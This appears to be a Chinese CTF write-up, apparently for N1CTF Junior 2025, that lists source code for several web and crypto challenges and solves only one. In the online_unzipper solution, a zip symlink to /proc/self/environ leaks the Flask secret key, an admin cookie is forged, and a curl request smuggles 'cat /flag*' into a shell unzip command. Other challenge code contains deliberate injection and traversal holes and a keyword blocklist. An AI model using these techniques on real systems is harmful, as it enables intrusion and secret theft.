还是太难了QWQ,等补档了……

Web

online_unzipper

import os
import uuid
from flask import Flask, request, redirect, url_for, send_file, render_template, session, send_from_directory, abort, Response

app = Flask(__name__)
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")
UPLOAD_FOLDER = os.path.join(os.getcwd(), "uploads")
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

users = {}


@app.route("/")
def index():
if "username" not in session:
return redirect(url_for("login"))
return redirect(url_for("upload"))


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]

if username in users:
return "用户名已存在"

users[username] = {"password": password, "role": "user"}
return redirect(url_for("login"))

return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]

if username in users and users[username]["password"] == password:
session["username"] = username
session["role"] = users[username]["role"]
return redirect(url_for("upload"))
else:
return "用户名或密码错误"

return render_template("login.html")


@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("login"))


@app.route("/upload", methods=["GET", "POST"])
def upload():
if "username" not in session:
return redirect(url_for("login"))

if request.method == "POST":
file = request.files["file"]
if not file:
return "未选择文件"

role = session["role"]

if role == "admin":
dirname = request.form.get("dirname") or str(uuid.uuid4())
else:
dirname = str(uuid.uuid4())

target_dir = os.path.join(UPLOAD_FOLDER, dirname)
os.makedirs(target_dir, exist_ok=True)

zip_path = os.path.join(target_dir, "upload.zip")
file.save(zip_path)

try:
os.system(f"unzip -o {zip_path} -d {target_dir}")
except:
return "解压失败,请检查文件格式"

os.remove(zip_path)
return f"解压完成!<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>"

return render_template("upload.html")


@app.route("/download/<folder>")
def download(folder):
target_dir = os.path.join(UPLOAD_FOLDER, folder)
if not os.path.exists(target_dir):
abort(404)

files = os.listdir(target_dir)
return render_template("download.html", folder=folder, files=files)


@app.route("/download/<folder>/<filename>")
def download_file(folder, filename):
file_path = os.path.join(UPLOAD_FOLDER, folder, filename)
try:
with open(file_path, 'r') as file:
content = file.read()
return Response(
content,
mimetype="application/octet-stream",
headers={
"Content-Disposition": f"attachment; filename={filename}"
}
)
except FileNotFoundError:
return "File not found", 404
except Exception as e:
return f"Error: {str(e)}", 500


if __name__ == "__main__":
app.run(host="0.0.0.0")

这题很明显需要进行session伪造,因此我们需要得到secret_key,正常情况下会在/app/config/secret_key.py

同时也关注到os.system(f"unzip -o {zip_path} -d {target_dir}"),这里有命令执行,而且输入参数dirnameadmin可控的,这就给了命令拼接执行的可能了

然后,再关注总体功能,它实现了用户上传压缩包的在线解压,并且解压到随机目录或者admin指定的目录
这里,我们可以利用软链接实现任意文件读取(那为什么不直接读flag呢?因为它的文件名是flag-xxxx.txt,我们是不可能猜到的)

RAND=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32)
FLAG_FILE="/flag-$RAND.txt"
ln -s /proc/self/environ env
zip --symlinks a.zip env

但是,并没有读到secret_key.py,所以读环境变量即可
FLASK_SECRET_KEY=#mu0cw9F#7bBCoF!

cookie可以用这个网站解一下

pip install flask-unsign
flask-unsign --sign --cookie "{'role': 'admin', 'username': 'test'}" --secret '#mu0cw9F#7bBCoF!'

得到eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImN0ZiJ9.aMU3Hg.mFcpn_I-PZD0UTVj4JyWI_NV2HM,可以伪造admin

然后我们随便选一个压缩包1.zip指定解压目录,然后命令拼接flag重定向带出来

curl -X POST http://60.205.163.215:13699/upload -b "session=eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImN0ZiJ9.aMU3Hg.mFcpn_I-PZD0UTVj4JyWI_NV2HM" -F "file=@1.zip" -F "dirname=1 & cat /flag* > /app/uploads/1/flag"

在这里命令拼接&|都是可以的,一开始被;卡住了,换一个就好

访问http://60.205.163.215:13699/download/1,下载flag皆可

ping*

是熟悉的ping

import base64
import subprocess
import re
import ipaddress
import flask

def run_ping(ip_base64):
try:
decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
return False
if decoded_ip.count('.') != 3:
return False

if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
return False
if not ipaddress.ip_address(decoded_ip):
return False
if len(decoded_ip) > 15:
return False
if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
return False
except Exception as e:
return False
command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

try:
process = subprocess.run(
command,
shell=True,
check=True,
capture_output=True,
text=True
)
return process.stdout
except Exception as e:
return False

app = flask.Flask(__name__)

@app.route('/ping', methods=['POST'])
def ping():
data = flask.request.json
ip_base64 = data.get('ip_base64')
if not ip_base64:
return flask.jsonify({'error': 'no ip'}), 400

result = run_ping(ip_base64)
if result:
return flask.jsonify({'success': True, 'output': result}), 200
else:
return flask.jsonify({'success': False}), 400

@app.route('/')
def index():
return flask.render_template('index.html')

app.run(host='0.0.0.0', port=5000)

感觉这题过滤得死死的,只能是ip的正常格式,长度也受限制

还有一个奇怪的点,按题目代码,应该输的是base64编码ip才对,但这里输ip才是对的……

蹲一手吧,确实不会

Peek a Fork*

伪HTTP解析器

import socket
import os
import hashlib
import fcntl
import re
import mmap

with open('flag.txt', 'rb') as f:
flag = f.read()
mm = mmap.mmap(-1, len(flag))
mm.write(flag)
os.remove('flag.txt')

FORBIDDEN = [b'flag', b'proc', b'<', b'>', b'^', b"'", b'"', b'..', b'./']
PAGE = """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Secure Gateway</title>
<style>
body { font-family: 'Courier New', monospace; background-color: #0c0c0c; color: #00ff00; text-align: center; margin-top: 10%; }
.container { border: 1px solid #00ff00; padding: 2rem; display: inline-block; }
h1 { font-size: 2.5rem; text-shadow: 0 0 5px #00ff00; }
p { font-size: 1.2rem; }
.status { color: #ffff00; }
</style>
</head>
<body>
<div class="container">
<h1>Firewall</h1>
<p class="status">STATUS: All systems operational.</p>
<p>Your connection has been inspected.</p>
</div>
</body>
</html>"""

def handle_connection(conn, addr, log, factor=1):
try:
conn.settimeout(10.0)

if log:
with open('log.txt', 'a') as f:
fcntl.flock(f, fcntl.LOCK_EX)
log_bytes = f"{addr[0]}:{str(addr[1])}:{str(conn)}".encode()
for _ in range(factor):
log_bytes = hashlib.sha3_256(log_bytes).digest()
log_entry = log_bytes.hex() + "\n"
f.write(log_entry)

request_data = conn.recv(256)
if not request_data.startswith(b"GET /"):
response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
conn.sendall(response)
return
try:
path = request_data.split(b' ')[1]
pattern = rb'\?offset=(\d+)&length=(\d+)'

offset = 0
length = -1

match = re.search(pattern, path)

if match:
offset = int(match.group(1).decode())
length = int(match.group(2).decode())

clean_path = re.sub(pattern, b'', path)
filename = clean_path.strip(b'/').decode()
else:
filename = path.strip(b'/').decode()

except Exception:
response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
conn.sendall(response)
return

if not filename:
response_body = PAGE
response_status = "200 OK"
else:
try:
with open(os.path.normpath(filename), 'rb') as f:
if offset > 0:
f.seek(offset)

data_bytes = f.read(length)
response_body = data_bytes.decode('utf-8', 'ignore')
response_status = "200 OK"
except Exception as e:
response_body = f"Invalid path"
response_status = "500 Internal Server Error"

response = f"HTTP/1.1 {response_status}\r\nContent-Length: {len(response_body)}\r\n\r\n{response_body}"
conn.sendall(response.encode())

except Exception:
pass
finally:
conn.close()
os._exit(0)

def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 1337))
server.listen(50)
print(f"Server listening on port 1337...")

while True:
try:
pid, status = os.waitpid(-1, os.WNOHANG)
except ChildProcessError:
pass
conn, addr = server.accept()

initial_data = conn.recv(256, socket.MSG_PEEK)
if any(term in initial_data.lower() for term in FORBIDDEN):
conn.sendall(b"HTTP/1.1 403 Forbidden\r\n\r\nSuspicious request pattern detected.")
conn.close()
continue

if initial_data.startswith(b'GET /?log=1'):
try:
factor = 1
pattern = rb"&factor=(\d+)"
match = re.search(pattern, initial_data)
if match:
factor = int(match.group(1).decode())
pid = os.fork()
if pid == 0:
server.close()
handle_connection(conn, addr, True, factor)
except Exception as e:
print("[ERROR]: ", e)
finally:
conn.close()
continue
else:
pid = os.fork()
if pid == 0:
server.close()
handle_connection(conn, addr, False)

conn.close()

if __name__ == '__main__':
main()

Unfinished*

程序好像有点Bug,别急,明年就修复了(

from flask import Flask, request, render_template, redirect, url_for, flash, render_template_string, make_response
from flask_login import LoginManager, UserMixin, login_user, logout_user, current_user, login_required
import requests
from markupsafe import escape
from playwright.sync_api import sync_playwright
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'

login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

class User(UserMixin):
def __init__(self, id, username, password, bio=""):
self.id = id
self.username = username
self.password = password
self.bio = bio
admin_password = os.urandom(12).hex()

USERS_DB = {'admin': User(id=1, username='admin', password=admin_password)}
USER_ID_COUNTER = 1

@login_manager.user_loader
def load_user(user_id):
for user in USERS_DB.values():
if str(user.id) == user_id:
return user
return None

@app.route('/')
def index():
return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
global USER_ID_COUNTER
if request.method == 'POST':
username = request.form['username']
if username in USERS_DB:
flash('Username already exists.')
return redirect(url_for('register'))

USER_ID_COUNTER += 1
new_user = User(
id=USER_ID_COUNTER,
username=username,
password=request.form['password']
)
USERS_DB[username] = new_user
login_user(new_user)
response = make_response(redirect(url_for('index')))
response.set_cookie('ticket', 'your_ticket_value')
return response
return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = USERS_DB.get(username)
if user and user.password == password:
login_user(user)
return redirect(url_for('index'))
flash('Invalid credentials.')
return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
logout_user()
return redirect(url_for('index'))

@app.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
if request.method == 'POST':
current_user.bio = request.form['bio']
print(current_user.bio)
return redirect(url_for('index'))
return render_template('profile.html')

@app.route('/ticket', methods=['GET', 'POST'])
def ticket():
if request.method == 'POST':
ticket = request.form['ticket']
response = make_response(redirect(url_for('index')))
response.set_cookie('ticket', ticket)
return response
return render_template('ticket.html')

@app.route("/view", methods=["GET"])
@login_required
def view_user():
"""
# I found a bug in it.
# Until I fix it, I've banned /api/bio/. Have fun :)
"""
username = request.args.get("username",default=current_user.username)
visit_url(f"http://localhost/api/bio/{username}")
template = f"""
{{% extends "base.html" %}}
{{% block title %}}success{{% endblock %}}
{{% block content %}}
<h1>bot will visit your bio</h1>
<p style="margin-top: 1.5rem;"><a href="{{{{ url_for('index') }}}}">Back to Home</a></p>
{{% endblock %}}
"""
return render_template_string(template)


@app.route("/api/bio/<string:username>", methods=["GET"])
@login_required
def get_user_bio(username):
if not current_user.username == username:
return "Unauthorized", 401
user = USERS_DB.get(username)
if not user:
return "User not found.", 404
return user.bio

def visit_url(url):
try:
flag_value = os.environ.get('FLAG', 'flag{fake}')

with sync_playwright() as p:
browser = p.chromium.launch(headless=True, args=["--no-sandbox"])
context = browser.new_context()

context.add_cookies([{
'name': 'flag',
'value': flag_value,
'domain': 'localhost',
'path': '/',
'httponly': True
}])

page = context.new_page()
page.goto("http://localhost/login", timeout=5000)
page.fill("input[name='username']", "admin")
page.fill("input[name='password']", admin_password)
page.click("input[name='submit']")
page.wait_for_timeout(3000)
page.goto(url, timeout=5000)
page.wait_for_timeout(5000)
browser.close()

except Exception as e:
print(f"Bot error: {str(e)}")


if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)

Crypto

sign in the ca7s*

Sign in the cats, so that you can cat the flag! 🐱
Note: This is the easy version of “sign the ca7s”.

from Crypto.Util.number import bytes_to_long
from hashlib import md5
import os

FLAG = os.environ.get("FLAG", "flag{**redacted**}")

E = EllipticCurve(GF(0x1337_ca7_eae368ff5d702e6067aaaa77ca_ca7_1337), [0, 3])
G, n = E(1, 2), E.order()

def sign(priv, ctx, msg):
k = bytes_to_long(ctx + md5(str(priv).encode() + msg).digest())
z = bytes_to_long(md5(ctx + msg).digest())
r = int((k * G).x()) % n
s = (pow(k, -1, n) * (z + r * priv)) % n
return r, s

def verify(pub, ctx, msg, sig):
z = bytes_to_long(md5(ctx + msg).digest())
r, s = sig
if 0 < r < n and 0 < s < n:
return r == int((pow(s, -1, n) * (z * G + r * pub)).x()) % n

def chall(level, flag):
priv = randint(1, n - 1)
pub = priv * G
msg = os.urandom(64)

print(f"=== level {level} ===")
for _ in range(catalan_number(level)):
ctx = bytes.fromhex(input('context: '))
r, s = sign(priv, ctx, msg)
assert verify(pub, ctx, msg, (r, s))
if level <= 1: print('message:', msg.hex())
if level <= 2: print('sign:', r)
if level <= 3: print('ature:', s)

r, s = map(int, input('signature: ').split())
assert verify(pub, b'n1junior_2025', f'cat /flag{level}'.encode(), (r, s))
print(f'flag{level}:', flag)

if __name__ == "__main__":
chall(0, "💧")
chall(1, "🐱")
chall(2, FLAG)

$ECDSA的一个变种$

$pub=priv\cdot G$

$z=md5(ctx+msg)$
$k正常来说,是1到n-1的随机数$
$但此处,k=ctx+md5(priv+msg)$
$ctx是我们可控的,其余与正常的ECDSA一致$

$r=(kG)_{_x}\pmod n$
$s=k^{-1}(z+r
priv)\pmod n$

$sign: (r,s)$

$verify: r==(s^{-1}(zG+rpub))_{_x}\pmod n$

$level_0和level_1都可以得到msg、r、s$
$level_2只能得到两次通过认证签名的(r,s)$

$同时,还需要对指定消息进行签名伪造,并通过验证$
$伪造签名,需求得私钥priv,因此k也是未知的$
$尝试构造格,但貌似失败了……$

sign the ca7s*

Sign the cats, so that you can cat the flag! 🐱

from Crypto.Util.number import bytes_to_long
from hashlib import md5
import os

FLAG = os.environ.get("FLAG", "flag{**redacted**}")

E = EllipticCurve(GF(0x1337_ca7_eae368ff5d702e6067aaaa77ca_ca7_1337), [0, 3])
G, n = E(1, 2), E.order()

def sign(priv, ctx, msg):
k = bytes_to_long(ctx + md5(str(priv).encode() + msg).digest())
z = bytes_to_long(md5(ctx + msg).digest())
r = int((k * G).x()) % n
s = (pow(k, -1, n) * (z + r * priv)) % n
return r, s

def verify(pub, ctx, msg, sig):
z = bytes_to_long(md5(ctx + msg).digest())
r, s = sig
if 0 < r < n and 0 < s < n:
return r == int((pow(s, -1, n) * (z * G + r * pub)).x()) % n

def chall(level, flag):
priv = randint(1, n - 1)
pub = priv * G
msg = os.urandom(64)

print(f"=== level {level} ===")
for _ in range(catalan_number(level)):
ctx = bytes.fromhex(input('context: '))
r, s = sign(priv, ctx, msg)
assert verify(pub, ctx, msg, (r, s))
if level <= 1: print('message:', msg.hex())
if level <= 2: print('sign:', r)
if level <= 3: print('ature:', s)

r, s = map(int, input('signature: ').split())
assert verify(pub, b'n1junior_2025', f'cat /flag{level}'.encode(), (r, s))
print(f'flag{level}:', flag)

if __name__ == "__main__":
chall(1, "💧")
chall(2, "🐱")
chall(3, FLAG)

sign one m0re*

Can you break the one-more unforgeability of this signature scheme? 🖊

  1. Can you break the one-more unforgeability of this provably secure partially blind signature scheme?
  2. eROSion
from fastecdsa.curve import secp256k1
from fastecdsa.point import Point
from secrets import randbelow
from hashlib import sha512
import signal
import os

FLAG = os.environ.get("FLAG", "flag{**redacted**}")

MAX_SESSIONS = 192

p, q, G = secp256k1.p, secp256k1.q, secp256k1.G
info = int.from_bytes(b"[N1CTF Junior 2025]", "big")
z = Point(info, pow(info ** 3 + 7, (p + 1) // 4, p), secp256k1)

class Signer:
def __init__(self):
self.x = randbelow(q)
self.y = self.x * G
self.sessions = {sid: (0, ) for sid in range(MAX_SESSIONS)}

def get_public_key(self):
return self.y

def commit(self, sid):
assert sid in range(MAX_SESSIONS), "Invalid session"
assert self.sessions[sid][0] == 0, "Invalid state"
u, s, d = [randbelow(q) for _ in range(3)]
a, b = u * G, s * G + d * z
self.sessions[sid] = (1, u, s, d)
return a, b

def sign(self, sid, e):
assert sid in range(MAX_SESSIONS), "Invalid session"
assert self.sessions[sid][0] == 1, "Invalid state"
assert 1 < e < q, "Invalid query"
_, u, s, d = self.sessions[sid]
c = (e - d) % q
r = (u - c * self.x) % q
self.sessions[sid] = (2, )
return r, c, s, d

class Verifier:
def __init__(self):
self.messages = set()

def oracle(self, α, β, z, msg):
to_hash = "||".join(map(str, [α.x, α.y, β.x, β.y, z.x, z.y, msg]))
return int.from_bytes(sha512(to_hash.encode()).digest(), "big") % q

def verify(self, pub, sig, msg):
assert all(1 < x < q for x in sig), "Invalid signature"
ρ, ω, σ, δ = sig
if (ω + δ) % q == self.oracle(ρ * G + ω * pub, σ * G + δ * z, z, msg):
self.messages.add(msg)
if len(self.messages) == MAX_SESSIONS + 1:
return FLAG
return "Good signature"
return "Bad signature"

signal.alarm(300)
signer = Signer()
verifier = Verifier()

while True:
cmd, *args = input("> ").split()
if cmd == "get_key":
y = signer.get_public_key()
print(f"y = ({y.x}, {y.y})")
elif cmd == "commit":
sid = int(args[0])
a, b = signer.commit(sid)
print(f"a = ({a.x}, {a.y})")
print(f"b = ({b.x}, {b.y})")
elif cmd == "sign":
sid, e = int(args[0]), int(args[1])
r, c, s, d = signer.sign(sid, e)
print(f"{r = }")
print(f"{c = }")
print(f"{s = }")
print(f"{d = }")
elif cmd == "verify":
sig, msg = tuple(map(int, args[:4])), args[4]
print(verifier.verify(signer.get_public_key(), sig, msg))

SM1¼*

SM4 is a secure block cipher. So is SM1¼. 🔒

from Crypto.Util.Padding import pad
from Crypto.Util.strxor import strxor
import os

FLAG = os.environ.get("FLAG", "flag{**redacted**}")

S = (
0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 0x78, 0x87,
0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52, 0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E,
0xEA, 0xBF, 0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 0xF9, 0x61, 0x15, 0xA1,
0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3,
0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F,
0xD5, 0xDB, 0x37, 0x45, 0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A, 0x72, 0x6D, 0x6C, 0x5B, 0x51,
0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F, 0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8,
0x0A, 0xC1, 0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12, 0xB8, 0xE5, 0xB4, 0xB0,
0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E, 0xC6, 0x84,
0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE, 0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0x48,
)

FK = (
0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC,
)

CK = (
0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279,
)

l2b = lambda x: x.to_bytes(4, "big")
b2l = lambda x: int.from_bytes(x, "big")
τ = lambda x: b2l(bytes(S[y] for y in l2b(x)))
rol = lambda x, y: ((x << y) | (x >> (32 - y))) & 0xFFFFFFFF
L = lambda x: x ^ rol(x, 2) ^ rol(x, 10) ^ rol(x, 18) ^ rol(x, 24)
L_ = lambda x: x ^ rol(x, 13) ^ rol(x, 23)
T = lambda x: L(τ(x))
T_ = lambda x: L_(τ(x))

def enc_block(key, block, nr=32):
K = [b2l(key[i : i + 4]) ^ FK[i // 4] for i in range(0, 16, 4)]
X = [b2l(block[i : i + 4]) for i in range(0, 16, 4)]
for i in range(nr):
K += [K[i] ^ T_(CK[i] ^ K[i + 1] ^ K[i + 2] ^ K[i + 3])]
X += [X[i] ^ T(X[i + 1] ^ X[i + 2] ^ X[i + 3] ^ K[i + 4])]
return b"".join(l2b(X[nr + 3 - i]) for i in range(4))

def enc(key, pt, nr=32):
pt = pad(pt, 16)
ct = bytes(16)
for i in range(0, len(pt), 16):
ct += enc_block(key, strxor(pt[i : i + 16], ct[-16 : ]), nr)
return ct[16 : ]

key = os.urandom(16)
print(enc(key, FLAG.encode()).hex())
while True:
pt = bytes.fromhex(input("> "))
print(enc(key, pt, 10).hex())